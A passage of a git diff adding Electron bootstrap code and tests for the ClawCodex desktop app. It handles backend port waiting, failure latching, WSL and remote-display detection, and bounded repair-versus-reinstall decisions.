+ */
+function waitForDashboardPort(child, timeoutMs = resolvePortAnnounceTimeoutMs()) {
+  return new Promise((resolve, reject) => {
+    let buf = ''
+    let done = false
+
+    function cleanup() {
+      if (done) {
+        return
+      }
+
+      done = true
+      clearTimeout(timer)
+      child.stdout.off('data', onData)
+      child.off('exit', onExit)
+      child.off('error', onError)
+    }
+
+    function onData(chunk) {
+      buf += chunk.toString()
+      let nl
+
+      while ((nl = buf.indexOf('\n')) !== -1) {
+        const line = buf.slice(0, nl)
+        buf = buf.slice(nl + 1)
+        const m = line.match(_READY_RE)
+
+        if (m) {
+          cleanup()
+          resolve(parseInt(m[1], 10))
+
+          return
+        }
+      }
+    }
+
+    function onExit(code, signal) {
+      cleanup()
+      reject(new Error(`ClawCodex backend: exited before port announcement (${signal || code})`))
+    }
+
+    function onError(err) {
+      cleanup()
+      reject(err)
+    }
+
+    const timer = setTimeout(() => {
+      cleanup()
+      reject(new Error(`Timed out waiting for ClawCodex backend port announcement (${timeoutMs}ms)`))
+    }, timeoutMs)
+
+    child.stdout.on('data', onData)
+    child.on('exit', onExit)
+    child.on('error', onError)
+  })
+}
+
+function readDashboardReadyFile(readyFile: fs.PathOrFileDescriptor) {
+  if (!readyFile) {
+    return null
+  }
+
+  try {
+    const parsed = JSON.parse(fs.readFileSync(readyFile, 'utf8'))
+    const port = Number(parsed?.port)
+
+    return Number.isInteger(port) && port > 0 ? port : null
+  } catch {
+    return null
+  }
+}
+
+function waitForDashboardReadyFile(readyFile, child, timeoutMs = resolvePortAnnounceTimeoutMs()) {
+  return new Promise((resolve, reject) => {
+    let done = false
+    let interval = null
+
+    function cleanup() {
+      if (done) {
+        return
+      }
+
+      done = true
+      clearTimeout(timer)
+
+      if (interval) {
+        clearInterval(interval)
+      }
+
+      child.off('exit', onExit)
+      child.off('error', onError)
+    }
+
+    function check() {
+      const port = readDashboardReadyFile(readyFile)
+
+      if (port) {
+        cleanup()
+        resolve(port)
+      }
+    }
+
+    function onExit(code, signal) {
+      cleanup()
+      reject(new Error(`ClawCodex backend: exited before port announcement (${signal || code})`))
+    }
+
+    function onError(err) {
+      cleanup()
+      reject(err)
+    }
+
+    const timer = setTimeout(() => {
+      cleanup()
+      reject(new Error(`Timed out waiting for ClawCodex backend port announcement (${timeoutMs}ms)`))
+    }, timeoutMs)
+
+    child.on('exit', onExit)
+    child.on('error', onError)
+    interval = setInterval(check, 50)
+
+    if (typeof interval.unref === 'function') {
+      interval.unref()
+    }
+
+    check()
+  })
+}
+
+function waitForDashboardPortAnnouncement(
+  child,
+  options: {
+    readyFile?: fs.PathOrFileDescriptor
+    timeoutMs?: number
+  } = {}
+) {
+  const timeoutMs = options.timeoutMs ?? resolvePortAnnounceTimeoutMs()
+
+  if (options.readyFile) {
+    return waitForDashboardReadyFile(options.readyFile, child, timeoutMs)
+  }
+
+  return waitForDashboardPort(child, timeoutMs)
+}
+
+export {
+  DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS,
+  MIN_PORT_ANNOUNCE_TIMEOUT_MS,
+  readDashboardReadyFile,
+  resolvePortAnnounceTimeoutMs,
+  waitForDashboardPort,
+  waitForDashboardPortAnnouncement,
+  waitForDashboardReadyFile
+}
diff --git a/ui-desktop/electron/backend-start-failure.test.ts b/ui-desktop/electron/backend-start-failure.test.ts
new file mode 100644
index 000000000..ed176d2d3
--- /dev/null
+++ b/ui-desktop/electron/backend-start-failure.test.ts
@@ -0,0 +1,52 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { shouldLatchBackendStartFailure, shouldLatchRemoteReauthFailure } from './backend-start-failure'
+
+test('latches a LOCAL backend failure so the install-retry loop is broken', () => {
+  assert.equal(shouldLatchBackendStartFailure({ attemptedRemote: false }), true)
+})
+
+test('never latches a REMOTE failure so recovery stays retryable without a restart', () => {
+  // A lapsed OAuth session / mint timeout / host briefly unreachable across a
+  // laptop sleep must not wedge the app: the next connect has to re-attempt and
+  // re-mint against the refreshed session.
+  assert.equal(shouldLatchBackendStartFailure({ attemptedRemote: true }), false)
+})
+
+test('the two branches are mutually exclusive (a failure either latches or stays retryable)', () => {
+  for (const attemptedRemote of [true, false]) {
+    const latched = shouldLatchBackendStartFailure({ attemptedRemote })
+    assert.equal(latched, !attemptedRemote)
+  }
+})
+
+test('latches a CONFIRMED remote reauth failure so the overlay stays clickable', () => {
+  // Without this the non-latching remote path re-runs startClawCodex on every
+  // getConnection/api call, re-emits running:true, and the overlay hides
+  // itself — the "Sign in" button flickers away before it can be clicked.
+  assert.equal(shouldLatchRemoteReauthFailure({ attemptedRemote: true, isReauth: true }), true)
+})
+
+test('does not latch a transient remote failure as reauth', () => {
+  // A mint timeout or a host unreachable across sleep must still self-heal.
+  assert.equal(shouldLatchRemoteReauthFailure({ attemptedRemote: true, isReauth: false }), false)
+})
+
+test('never latches a LOCAL failure as reauth (that is backendStartFailure job)', () => {
+  assert.equal(shouldLatchRemoteReauthFailure({ attemptedRemote: false, isReauth: true }), false)
+  assert.equal(shouldLatchRemoteReauthFailure({ attemptedRemote: false, isReauth: false }), false)
+})
+
+test('the two latches never fire for the same failure', () => {
+  // They are complementary, not overlapping: local failures latch via
+  // backendStartFailure, confirmed remote reauth latches via its own flag.
+  for (const attemptedRemote of [true, false]) {
+    for (const isReauth of [true, false]) {
+      const start = shouldLatchBackendStartFailure({ attemptedRemote })
+      const reauth = shouldLatchRemoteReauthFailure({ attemptedRemote, isReauth })
+      assert.ok(!(start && reauth), `both latched for remote=${attemptedRemote} reauth=${isReauth}`)
+    }
+  }
+})
diff --git a/ui-desktop/electron/backend-start-failure.ts b/ui-desktop/electron/backend-start-failure.ts
new file mode 100644
index 000000000..559c84dd0
--- /dev/null
+++ b/ui-desktop/electron/backend-start-failure.ts
@@ -0,0 +1,72 @@
+/**
+ * backend-start-failure.ts
+ *
+ * Decides whether a failed primary-backend boot should *latch* into
+ * `backendStartFailure`. A latched failure makes every subsequent
+ * startClawCodex() re-throw the cached error without re-attempting the connect —
+ * the right behavior for a LOCAL backend so the renderer's retry loop can't
+ * restart a broken install over and over.
+ *
+ * It is the WRONG behavior for a REMOTE backend. A remote connect can fail for
+ * transient reasons — a lapsed OAuth access-token cookie (the gateway rotates a
+ * fresh one from the live refresh-token cookie on the next request), a
+ * ws-ticket mint that timed out mid sleep/wake, or a host that was briefly
+ * unreachable across a laptop sleep. There is no child process whose 'exit'
+ * handler would clear the cache, so a latched remote failure sticks until the
+ * whole app is quit and relaunched: reconnect, "Sign out & sign in" (which only
+ * reloads the renderer), and the wake-recovery revalidate path all keep hitting
+ * the same stale error. Not latching lets the very next connect re-mint a
+ * ticket against the (now refreshed) session and self-heal.
+ *
+ * Extracted as a dependency-free pure predicate so the invariant is testable
+ * without booting Electron or reading main.ts source text.
+ */
+
+export interface BackendStartFailureContext {
+  /**
+   * True when the boot that just failed was resolving/dialing a REMOTE (or
+   * cloud) primary backend rather than spawning a local child.
+   */
+  attemptedRemote: boolean
+}
+
+/**
+ * Whether a startClawCodex() failure should latch into `backendStartFailure`.
+ * Latch local failures (prevent install-restart loops); never latch remote
+ * failures (they are transient and must stay retryable so recovery paths work
+ * without an app restart).
+ */
+export function shouldLatchBackendStartFailure(context: BackendStartFailureContext): boolean {
+  return !context.attemptedRemote
+}
+
+export interface RemoteReauthFailureContext {
+  /** True when the boot that just failed was dialing a REMOTE (or cloud) backend. */
+  attemptedRemote: boolean
+  /**
+   * True when the failure was a CONFIRMED auth rejection (a credentialed
+   * probe got 401/403), not a transient connectivity fault.
+   */
+  isReauth: boolean
+}
+
+/**
+ * Whether a failed remote boot should latch as a reauth failure.
+ *
+ * This is the deliberate counterpart to `shouldLatchBackendStartFailure`,
+ * which never latches a remote failure because remote faults are usually
+ * transient and must stay retryable. A *confirmed* reauth rejection is the
+ * exception: it cannot self-heal, because nothing will change until the user
+ * signs in again.
+ *
+ * Without a latch, the non-latching remote path actively prevents recovery.
+ * Every subsequent `getConnection`/`api` call re-runs `startClawCodex`, re-emits
+ * `running: true`, and the boot-failure overlay (`visible = Boolean(boot.error)
+ * && !boot.running`) hides itself — so the "Sign in" button flickers out from
+ * under the user before they can click it. Latching holds the overlay still
+ * and clickable. Cleared on every recovery path (reset, repair, apply-config,
+ * and a confirmed sign-in) so a fresh session boots normally.
+ */
+export function shouldLatchRemoteReauthFailure(context: RemoteReauthFailureContext): boolean {
+  return context.attemptedRemote && context.isReauth
+}
diff --git a/ui-desktop/electron/bootstrap-platform.test.ts b/ui-desktop/electron/bootstrap-platform.test.ts
new file mode 100644
index 000000000..cc3105137
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-platform.test.ts
@@ -0,0 +1,86 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  bundledRuntimeImportCheck,
+  detectRemoteDisplay,
+  isWindowsBinaryPathInWsl,
+  isWslEnvironment
+} from './bootstrap-platform'
+
+test('isWslEnvironment detects WSL2 env vars on linux', () => {
+  assert.equal(isWslEnvironment({ WSL_DISTRO_NAME: 'Ubuntu' }, 'linux'), true)
+  assert.equal(isWslEnvironment({ WSL_INTEROP: '/run/WSL/123_interop' }, 'linux'), true)
+  assert.equal(isWslEnvironment({}, 'linux', '6.6.87.2-microsoft-standard-WSL2'), true)
+  assert.equal(isWslEnvironment({}, 'linux', '6.6.87-generic'), false)
+  assert.equal(isWslEnvironment({ WSL_DISTRO_NAME: 'Ubuntu' }, 'darwin'), false)
+})
+
+test('isWindowsBinaryPathInWsl blocks Windows binary types on WSL', () => {
+  assert.equal(isWindowsBinaryPathInWsl('/mnt/c/Tools/clawcodex.exe', { isWsl: true }), true)
+  assert.equal(isWindowsBinaryPathInWsl('/mnt/c/Tools/clawcodex.cmd', { isWsl: true }), true)
+  assert.equal(isWindowsBinaryPathInWsl('/mnt/c/Tools/clawcodex.bat', { isWsl: true }), true)
+  assert.equal(isWindowsBinaryPathInWsl('/mnt/c/Tools/install.ps1', { isWsl: true }), true)
+  assert.equal(isWindowsBinaryPathInWsl('/usr/local/bin/clawcodex', { isWsl: true }), false)
+  assert.equal(isWindowsBinaryPathInWsl('/mnt/c/Tools/clawcodex.exe', { isWsl: false }), false)
+})
+
+test('bundledRuntimeImportCheck selects platform-specific import checks', () => {
+  assert.equal(bundledRuntimeImportCheck('win32'), 'import fastapi, uvicorn, winpty')
+  assert.equal(bundledRuntimeImportCheck('darwin'), 'import fastapi, uvicorn, ptyprocess')
+  assert.equal(bundledRuntimeImportCheck('linux'), 'import fastapi, uvicorn, ptyprocess')
+})
+
+test('detectRemoteDisplay keeps GPU on for local sessions', () => {
+  // Plain local X11, Wayland, native Windows, native macOS — no remote signal.
+  assert.equal(detectRemoteDisplay({ env: { DISPLAY: ':0' }, platform: 'linux' }), null)
+  assert.equal(detectRemoteDisplay({ env: { WAYLAND_DISPLAY: 'wayland-0' }, platform: 'linux' }), null)
+  assert.equal(detectRemoteDisplay({ env: { SESSIONNAME: 'Console' }, platform: 'win32' }), null)
+  assert.equal(detectRemoteDisplay({ env: {}, platform: 'darwin' }), null)
+})
+
+test('detectRemoteDisplay does not treat WSLg as remote', () => {
+  // WSLg renders locally via vGPU and doesn't show the flicker, so a WSL
+  // session with a local DISPLAY keeps hardware acceleration on.
+  assert.equal(detectRemoteDisplay({ env: { WSL_DISTRO_NAME: 'Ubuntu', DISPLAY: ':0' }, platform: 'linux' }), null)
+  assert.equal(
+    detectRemoteDisplay({ env: { WSL_INTEROP: '/run/WSL/1_interop', DISPLAY: ':0' }, platform: 'linux' }),
+    null
+  )
+})
+
+test('detectRemoteDisplay flags SSH sessions on any platform', () => {
+  assert.equal(
+    detectRemoteDisplay({ env: { SSH_CONNECTION: '1.2.3.4 5 6.7.8.9 22' }, platform: 'linux' }),
+    'ssh-session'
+  )
+  assert.equal(detectRemoteDisplay({ env: { SSH_CLIENT: '1.2.3.4 5 22' }, platform: 'darwin' }), 'ssh-session')
+  assert.equal(detectRemoteDisplay({ env: { SSH_TTY: '/dev/pts/0' }, platform: 'win32' }), 'ssh-session')
+})
+
+test('detectRemoteDisplay flags forwarded X11 displays but not local ones', () => {
+  assert.match(String(detectRemoteDisplay({ env: { DISPLAY: 'localhost:10.0' }, platform: 'linux' })), /x11-forwarding/)
+  assert.match(String(detectRemoteDisplay({ env: { DISPLAY: '192.168.1.5:0' }, platform: 'linux' })), /x11-forwarding/)
+  assert.equal(detectRemoteDisplay({ env: { DISPLAY: ':1' }, platform: 'linux' }), null)
+})
+
+test('detectRemoteDisplay flags RDP sessions', () => {
+  assert.match(String(detectRemoteDisplay({ env: { SESSIONNAME: 'RDP-Tcp#7' }, platform: 'win32' })), /^rdp/)
+})
+
+test('detectRemoteDisplay honors the CLAWCODEX_DESKTOP_DISABLE_GPU override both ways', () => {
+  // Force-on even on a local display.
+  assert.match(
+    String(detectRemoteDisplay({ env: { CLAWCODEX_DESKTOP_DISABLE_GPU: '1', DISPLAY: ':0' }, platform: 'linux' })),
+    /override/
+  )
+  // Force-off even over SSH (escape hatch when a remote display has working accel).
+  assert.equal(
+    detectRemoteDisplay({
+      env: { CLAWCODEX_DESKTOP_DISABLE_GPU: 'false', SSH_CONNECTION: '1.2.3.4 5 6.7.8.9 22' },
+      platform: 'linux'
+    }),
+    null
+  )
+})
diff --git a/ui-desktop/electron/bootstrap-platform.ts b/ui-desktop/electron/bootstrap-platform.ts
new file mode 100644
index 000000000..672c1c0f4
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-platform.ts
@@ -0,0 +1,110 @@
+import fs from 'node:fs'
+
+function isWslEnvironment(env = process.env, platform = process.platform, kernelRelease = null) {
+  if (platform !== 'linux') {
+    return false
+  }
+
+  if (env.WSL_DISTRO_NAME || env.WSL_INTEROP) {
+    return true
+  }
+
+  try {
+    const release = kernelRelease ?? fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
+
+    return /microsoft|wsl/i.test(release)
+  } catch {
+    return false
+  }
+}
+
+function isWindowsBinaryPathInWsl(
+  filePath,
+  options: { isWsl?: boolean; env?: NodeJS.ProcessEnv; platform?: NodeJS.Platform } = {}
+) {
+  const isWsl = options.isWsl ?? isWslEnvironment(options.env, options.platform)
+
+  if (!isWsl) {
+    return false
+  }
+
+  const normalized = String(filePath || '')
+    .replace(/\\/g, '/')
+    .toLowerCase()
+
+  return (
+    normalized.endsWith('.exe') ||
+    normalized.endsWith('.cmd') ||
+    normalized.endsWith('.bat') ||
+    normalized.endsWith('.ps1')
+  )
+}
+
+function bundledRuntimeImportCheck(platform = process.platform) {
+  return platform === 'win32' ? 'import fastapi, uvicorn, winpty' : 'import fastapi, uvicorn, ptyprocess'
+}
+
+const GPU_OVERRIDE_ON = new Set(['1', 'true', 'yes', 'on'])
+const GPU_OVERRIDE_OFF = new Set(['0', 'false', 'no', 'off'])
+
+/**
+ * Decide whether the app is being shown over a remote/forwarded display, where
+ * Chromium's GPU compositor produces an unstable, flickering surface (it can't
+ * present accelerated layers cleanly over the wire). Native local Windows/macOS
+ * sessions composite locally and never hit this, so we only fall back to
+ * software rendering when a remote display is detected.
+ *
+ * Returns a short reason string when GPU acceleration should be disabled, or
+ * null to keep it enabled. `CLAWCODEX_DESKTOP_DISABLE_GPU` overrides detection
+ * both ways (1/true/yes/on → always disable, 0/false/no/off → never disable).
+ *
+ * Pure + dependency-free so it can be unit-tested and called before app ready.
+ */
+function detectRemoteDisplay(options: { env?: NodeJS.ProcessEnv; platform?: NodeJS.Platform } = {}) {
+  const env = options.env ?? process.env
+  const platform = options.platform ?? process.platform
+
+  const override = String(env.CLAWCODEX_DESKTOP_DISABLE_GPU || '')
+    .trim()
+    .toLowerCase()
+
+  if (GPU_OVERRIDE_ON.has(override)) {
+    return 'override (CLAWCODEX_DESKTOP_DISABLE_GPU)'
+  }
+
+  if (GPU_OVERRIDE_OFF.has(override)) {
+    return null
+  }
+
+  // Launched from an SSH session → the display is X11-forwarded or otherwise
+  // remote. Covers the common `ssh user@box` + GUI-forwarding case.
+  if (env.SSH_CONNECTION || env.SSH_CLIENT || env.SSH_TTY) {
+    return 'ssh-session'
+  }
+
+  if (platform === 'linux') {
+    // X11 forwarding sets DISPLAY to "<host>:N" (e.g. "localhost:10.0"); a
+    // local X server is ":0"/":1" with no host part before the colon.
+    // NB: WSLg deliberately isn't treated as remote — it reports
+    // GPU-accelerated vGPU surfaces locally and doesn't show the flicker.
+    const display = String(env.DISPLAY || '')
+
+    if (display.includes(':') && display.split(':')[0]) {
+      return `x11-forwarding (DISPLAY=${display})`
+    }
+  }
+
+  if (platform === 'win32') {
+    // RDP sessions report SESSIONNAME like "RDP-Tcp#7"; the local console is
+    // "Console".
+    const sessionName = String(env.SESSIONNAME || '')
+
+    if (/^rdp-/i.test(sessionName)) {
+      return `rdp (SESSIONNAME=${sessionName})`
+    }
+  }
+
+  return null
+}
+
+export { bundledRuntimeImportCheck, detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment }
diff --git a/ui-desktop/electron/bootstrap-repair-guard.test.ts b/ui-desktop/electron/bootstrap-repair-guard.test.ts
new file mode 100644
index 000000000..e1a7a1ecf
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-repair-guard.test.ts
@@ -0,0 +1,109 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { decideBootstrapRepair } from './bootstrap-repair-guard'
+
+test('first soft attempt with alive backend returns soft restart', () => {
+  const decision = decideBootstrapRepair({
+    attempt: 1,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(decision.hardReinstall, false)
+  assert.equal(decision.attempt, 1)
+  assert.match(decision.reason, /still alive/)
+  assert.match(decision.reason, /1\/3/)
+})
+
+test('first attempt with dead backend still returns soft restart', () => {
+  const decision = decideBootstrapRepair({
+    attempt: 1,
+    primaryBackendAlive: false
+  })
+
+  assert.equal(decision.hardReinstall, false)
+  assert.match(decision.reason, /has exited/)
+})
+
+test('soft restart budget exhausts at maxSoftAttempts+1 and escalates', () => {
+  const decision = decideBootstrapRepair({
+    attempt: 4,
+    maxSoftAttempts: 3,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(decision.hardReinstall, true)
+  assert.equal(decision.attempt, 4)
+  assert.match(decision.reason, /exceeds soft-restart budget/)
+})
+
+test('attempt exactly at maxSoftAttempts is still soft', () => {
+  const decision = decideBootstrapRepair({
+    attempt: 3,
+    maxSoftAttempts: 3,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(decision.hardReinstall, false)
+  assert.equal(decision.attempt, 3)
+})
+
+test('custom maxSoftAttempts is honored', () => {
+  const soft = decideBootstrapRepair({
+    attempt: 5,
+    maxSoftAttempts: 10,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(soft.hardReinstall, false)
+
+  const hard = decideBootstrapRepair({
+    attempt: 11,
+    maxSoftAttempts: 10,
+    primaryBackendAlive: false
+  })
+
+  assert.equal(hard.hardReinstall, true)
+})
+
+test('default maxSoftAttempts is 3', () => {
+  // Probe the default indirectly: attempt 4 with no override must escalate.
+  const decision = decideBootstrapRepair({
+    attempt: 4,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(decision.hardReinstall, true)
+})
+
+test('fractional or zero attempts are clamped to 1', () => {
+  const zeroDecision = decideBootstrapRepair({
+    attempt: 0,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(zeroDecision.attempt, 1)
+  assert.equal(zeroDecision.hardReinstall, false)
+
+  const fractionalDecision = decideBootstrapRepair({
+    attempt: 2.7,
+    primaryBackendAlive: true
+  })
+
+  assert.equal(fractionalDecision.attempt, 2)
+  assert.equal(fractionalDecision.hardReinstall, false)
+})
+
+test('alive=false on a high attempt number still escalates (defense in depth)', () => {
+  // A dead backend should normally be handled by the renderer before it
+  // reaches the repair path, but if it does reach us with a high attempt
+  // count we still escalate — never silently keep soft-restarting.
+  const decision = decideBootstrapRepair({
+    attempt: 5,
+    maxSoftAttempts: 3,
+    primaryBackendAlive: false
+  })
+
+  assert.equal(decision.hardReinstall, true)
+})
diff --git a/ui-desktop/electron/bootstrap-repair-guard.ts b/ui-desktop/electron/bootstrap-repair-guard.ts
new file mode 100644
index 000000000..a425f5749
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-repair-guard.ts
@@ -0,0 +1,121 @@
+/**
+ * Repair-loop guard for the desktop bootstrap.
+ *
+ * Why this exists
+ * ───────────────
+ * ClawCodex desktop can request a "repair" of its bundled backend when the
+ * renderer observes a transient backend failure (see issue #74874). The
+ * classic failure fingerprint:
+ *
+ *   1. Backend Python process hits a transient GIL stall (e.g. heavy
+ *      import, MCP discovery, a long-running agent turn).
+ *   2. The renderer's WebSocket can't deliver the `gateway.ready` frame
+ *      in time and treats the socket as dead.
+ *   3. Renderer calls `clawcodex:bootstrap:repair`.
+ *   4. Bootstrap unconditionally force-reinstalls the venv, restarting
+ *      the backend — which stalls again for the same reason.
+ *   5. Renderer reports dead backend → another repair → infinite loop.
+ *
+ * The desktop should distinguish:
+ *   - "the venv/install is genuinely broken" → hard reinstall is correct
+ *   - "the runtime is healthy but temporarily stalled" → restart only,
+ *     NOT a destructive reinstall that drops the venv
+ *
+ * What this module does
+ * ─────────────────────
+ * A pure decision helper. Given the current repair attempt count and a
+ * hint about whether the live backend process still looks alive, return
+ * whether the next repair should:
+ *   - `hardReinstall: true`  → run the installer, recreate the venv
+ *   - `hardReinstall: false` → restart the existing backend, keep the venv
+ *
+ * Cap on soft restarts is bounded so an actually-corrupted install still
+ * eventually escalates to a hard reinstall after repeated stalls — the
+ * guard prevents the *unbounded* reinstall loop, not all reinstalls.
+ *
+ * The module is intentionally pure (no I/O, no logging, no global state)
+ * so it is unit-testable in isolation. Wiring into `main.ts` lives there.
+ */
+
+export type RepairDecision =
+  | {
+      /** Run the installer (recreate venv). Caller bypasses the active runtime. */
+      hardReinstall: true
+      /** Human-readable rationale for the desktop log. */
+      reason: string
+      /** 1-indexed repair attempt number for diagnostics. */
+      attempt: number
+    }
+  | {
+      /** Skip the installer; restart the existing backend only. */
+      hardReinstall: false
+      reason: string
+      attempt: number
+    }
+
+export type RepairDecisionInput = {
+  /**
+   * 1-indexed count of how many repair attempts have happened in this
+   * failure episode. The first repair is `attempt === 1`; a successful
+   * boot resets the counter (see `main.ts`'s bootstrap completion path).
+   */
+  attempt: number
+  /**
+   * Soft-restart budget before escalation to a hard reinstall. Defaults
+   * to 3: three "just restart" attempts, then a real reinstall. Bounded
+   * so a corrupt install still gets fixed; high enough that a GIL
+   * stall no longer loops the user into a 30-minute reinstall cycle.
+   */
+  maxSoftAttempts?: number
+  /**
+   * Whether the live backend process (the one we are about to tear down
+   * to honour the repair request) still looks alive. A process whose
+   * `exitCode !== null` or `signalCode !== null` has actually exited;
+   * a process with both null is either still running or stalled — and a
+   * stall is exactly the case the soft-restart path is for.
+   */
+  primaryBackendAlive: boolean
+}
+
+/**
+ * Decide the next repair action.
+ *
+ * Decision matrix:
+ *   attempt ≤ maxSoftAttempts AND alive   → soft restart (don't reinstall)
+ *   attempt ≤ maxSoftAttempts AND dead    → soft restart (process exited,
+ *                                            but we don't yet trust that
+ *                                            the install is corrupt; restart
+ *                                            once to confirm)
+ *   attempt >  maxSoftAttempts            → hard reinstall (give up on the
+ *                                            current install)
+ *
+ * "Alive" being true does NOT force a soft restart on every call: the
+ * attempt counter still increments, so an actually-broken install that
+ * keeps respawning a child but never announces READY still escalates
+ * after `maxSoftAttempts` cycles.
+ */
+export function decideBootstrapRepair(input: RepairDecisionInput): RepairDecision {
+  const maxSoftAttempts = input.maxSoftAttempts ?? 3
+  const attempt = Math.max(1, Math.floor(input.attempt))
+  const alive = Boolean(input.primaryBackendAlive)
+
+  if (attempt > maxSoftAttempts) {
+    return {
+      hardReinstall: true,
+      attempt,
+      reason:
+        `repair attempt ${attempt} exceeds soft-restart budget ` + `(${maxSoftAttempts}); escalating to hard reinstall`
+    }
+  }
+
+  return {
+    hardReinstall: false,
+    attempt,
+    reason: alive
+      ? `repair attempt ${attempt}/${maxSoftAttempts}: primary backend process ` +
+        `still alive (likely transient stall, see #74874); restarting only, ` +
+        `skipping installer`
+      : `repair attempt ${attempt}/${maxSoftAttempts}: primary backend process ` +
+        `has exited; restarting before escalating to reinstall`
+  }
+}
diff --git a/ui-desktop/electron/bootstrap-runner.test.ts b/ui-desktop/electron/bootstrap-runner.test.ts
new file mode 100644
index 000000000..51c935515
--- /dev/null
+++ b/ui-desktop/electron/bootstrap-runner.test.ts
@@ -0,0 +1,274 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  buildPinArgs,
+  buildPosixPinArgs,
+  cachedScriptPath,
+  hasExistingGitCheckout,
+  installedAgentInstallScript,
+  installRefForStamp,
+  isPinnedCommit,
+  resolveInstallScript,
+  resolveMarkerPinnedCommit,
+  runBootstrap
+} from './bootstrap-runner'
+
+const SCRIPT_NAME = process.platform === 'win32' ? 'install.ps1' : 'install.sh'
+const ZERO_COMMIT = '0000000000000000000000000000000000000000'
+
+function mkTmpHome() {
+  return fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-bootstrap-test-'))
+}
+
+test('runBootstrap bails immediately when the signal is already aborted', async () => {
+  const controller = new AbortController()
+  controller.abort()
+
+  const events = []
+
+  const result = await runBootstrap({
+    installStamp: null,
+    activeRoot: '/tmp/clawcodex-runner-test',
+    sourceRepoRoot: null,
+    clawcodexHome: '/tmp/clawcodex-runner-test',
+    logRoot: '/tmp/clawcodex-runner-test',
+    onEvent: ev => events.push(ev),
+    abortSignal: controller.signal
+  })
+
+  // Cancelled before any install script is spawned.
+  assert.deepEqual(result, { ok: false, cancelled: true })
+  assert.ok(
+    events.some(ev => ev.type === 'failed' && /cancelled/i.test(ev.error)),
+    'should emit a cancelled failure event'
+  )
+})
+
+test('installedAgentInstallScript resolves the installer in the agent checkout', () => {
+  const home = mkTmpHome()
+
+  try {
+    assert.equal(installedAgentInstallScript(home), null, 'absent before the checkout exists')
+
+    const scriptsDir = path.join(home, 'clawcodex', 'scripts')
+    fs.mkdirSync(scriptsDir, { recursive: true })
+    const scriptPath = path.join(scriptsDir, SCRIPT_NAME)
+    fs.writeFileSync(scriptPath, '#!/bin/sh\necho hi\n')
+
+    assert.equal(installedAgentInstallScript(home), scriptPath)
+    assert.equal(installedAgentInstallScript(null), null, 'null home -> null')
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
+
+test('existing checkout detection requires git metadata', () => {
+  const home = mkTmpHome()
+
+  try {
+    const activeRoot = path.join(home, 'clawcodex')
+    assert.equal(hasExistingGitCheckout(activeRoot), false)
+
+    fs.mkdirSync(path.join(activeRoot, '.git'), { recursive: true })
+    assert.equal(hasExistingGitCheckout(activeRoot), true)
+  } finally {
+    fs.rmSync(home, { recursive: true, force: true })
+  }
+})
+
+test('fresh bootstrap args include the packaged commit pin', () => {
+  const installStamp = { commit: 'a'.repeat(40), branch: 'main' }
+
+  assert.deepEqual(buildPinArgs(installStamp), ['-Commit', installStamp.commit, '-Branch', 'main'])
+  assert.deepEqual(
+    buildPosixPinArgs({
+      installStamp,
+      activeRoot: '/tmp/clawcodex',
+      clawcodexHome: '/tmp/clawcodex'
+    }),
+    ['--dir', '/tmp/clawcodex', '--clawcodex-home', '/tmp/clawcodex', '--branch', 'main', '--commit', installStamp.commit]
+  )
+})
+
+test('existing-checkout bootstrap args keep branch but skip the packaged commit pin', () => {
+  const installStamp = { commit: 'a'.repeat(40), branch: 'main' }
+
+  assert.deepEqual(buildPinArgs(installStamp, { pinCommit: false }), ['-Branch', 'main'])
+  assert.deepEqual(
+    buildPosixPinArgs({
+      installStamp,
+      activeRoot: '/tmp/clawcodex',
+      clawcodexHome: '/tmp/clawcodex',
+      pinCommit: false
+    }),
+    ['--dir', '/tmp/clawcodex', '--clawcodex-home', '/tmp/clawcodex', '--branch', 'main']
+  )
+})
+
+test('fallback install stamps use an unpinned branch ref', () => {
+  const stamp = { commit: ZERO_COMMIT, branch: 'main' }
+
+  assert.equal(isPinnedCommit(ZERO_COMMIT), false)
+  assert.deepEqual(installRefForStamp(stamp), {
+    ref: 'main',
+    cacheKey: 'fallback-main',
+    pinned: false
+  })
+  // Must NOT pass -Commit / --commit for the all-zero placeholder.
+  assert.deepEqual(buildPinArgs(stamp), ['-Branch', 'main'])
+  assert.deepEqual(
+    buildPosixPinArgs({
+      installStamp: stamp,
+      activeRoot: '/tmp/clawcodex',
+      clawcodexHome: '/tmp/home'
+    }),
+    ['--dir', '/tmp/clawcodex', '--clawcodex-home', '/tmp/home', '--branch', 'main']
+  )
+})
+
+test('resolveMarkerPinnedCommit prefers real HEAD over fallback stamp zeros', () => {
+  const realHead = 'c'.repeat(40)
+  assert.equal(
+    resolveMarkerPinnedCommit({ commit: ZERO_COMMIT, branch: 'main' }, '/tmp/checkout', {
+      resolveHead: () => realHead
+    }),
+    realHead
+  )
+  assert.equal(
+    resolveMarkerPinnedCommit({ commit: 'd'.repeat(40), branch: 'main' }, '/tmp/checkout', {
+      resolveHead: () => realHead
+    }),
+    'd'.repeat(40),
+    'packaged real pin wins over checkout HEAD'
+  )
+  assert.equal(
+    resolveMarkerPinnedCommit({ commit: ZERO_COMMIT, branch: 'main' }, '/tmp/missing', {
+      resolveHead: () => null
+    }),
+    null
+  )
+})
+
+test('resolveInstallScript downloads fallback stamps by branch instead of zero commit', async () => {
+  const home = mkTmpHome()
+
+  try {
+    const logs = []
+    const refs = []
+
+    const result = await resolveInstallScript({
+      installStamp: { commit: ZERO_COMMIT, branch: 'main' },
+      sourceRepoRoot: null,
+      clawcodexHome: home,
+      emit: ev => logs.push(ev),
